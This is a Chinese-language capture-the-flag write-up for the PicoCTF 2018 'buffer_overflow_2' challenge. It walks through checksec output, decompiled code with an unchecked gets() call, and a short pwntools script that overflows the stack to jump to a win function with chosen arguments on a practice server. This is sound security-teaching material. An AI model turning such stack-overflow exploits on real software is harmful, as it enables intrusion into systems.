分析

  1. checksec
1
2
3
4
checksec --file=PicoCTF_2018_buffer_overflow_2
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 80) Symbols No 0 3 PicoCTF_2018_buffer_overflow_2

  1. ida
    • main函数
1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
__gid_t v4; // [esp+Ch] [ebp-Ch]

setvbuf(_bss_start, 0, 2, 0);
v4 = getegid();
setresgid(v4, v4, v4);
puts("Please enter your string: ");
vuln();
return 0;
}

注意到vuln函数,跟进看一下:

1
2
3
4
5
6
7
int vuln()
{
char s[108]; // [esp+Ch] [ebp-6Ch] BYREF

gets(s);
return puts(s);
}

明显这里有溢出,看一下字节:0x6C

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
-00000078 ; D/A/*   : change type (data/ascii/array)
-00000078 ; N : rename
-00000078 ; U : undefine
-00000078 ; Use data definition commands to create local variables and function arguments.
-00000078 ; Two special fields " r" and " s" represent return address and saved registers.
-00000078 ; Frame size: 78; Saved regs: 4; Purge: 0
-00000078 ;
-00000078
-00000078 db ? ; undefined
-00000077 db ? ; undefined
-00000076 db ? ; undefined
-00000075 db ? ; undefined
-00000074 db ? ; undefined
-00000073 db ? ; undefined
-00000072 db ? ; undefined
-00000071 db ? ; undefined
-00000070 db ? ; undefined
-0000006F db ? ; undefined
-0000006E db ? ; undefined
-0000006D db ? ; undefined
-0000006C s db ?

继续观察其他函数,发现有win可疑函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
char *__cdecl win(int a1, int a2)
{
char *result; // eax
char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
FILE *stream; // [esp+4Ch] [ebp-Ch]

stream = fopen("flag.txt", "r");
if ( !stream )
{
puts(
"Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.");
exit(0);
}
result = fgets(s, 64, stream);
if ( a1 == 0xDEADBEEF && a2 == 0xDEADC0DE )
return (char *)printf(s);
return result;
}

这里读取了flag文件,但是要想打印出内容,需要传参:a1 == 0xDEADBEEF && a2 == 0xDEADC0DE

注意这里是32位程序,传参很简单,就直接往栈上放就行,如果是64位,那就需要放寄存器了,区别一下!

利用

1
2
3
4
5
from pwn import *
r = remote("node5.buuoj.cn",25444)
buf = b'a'*(0x6c+4) + p32(0x80485cb)+p32(0)+p32(0xDEADBEEF)+p32(0xDEADC0DE)
r.sendline(buf)
r.interactive()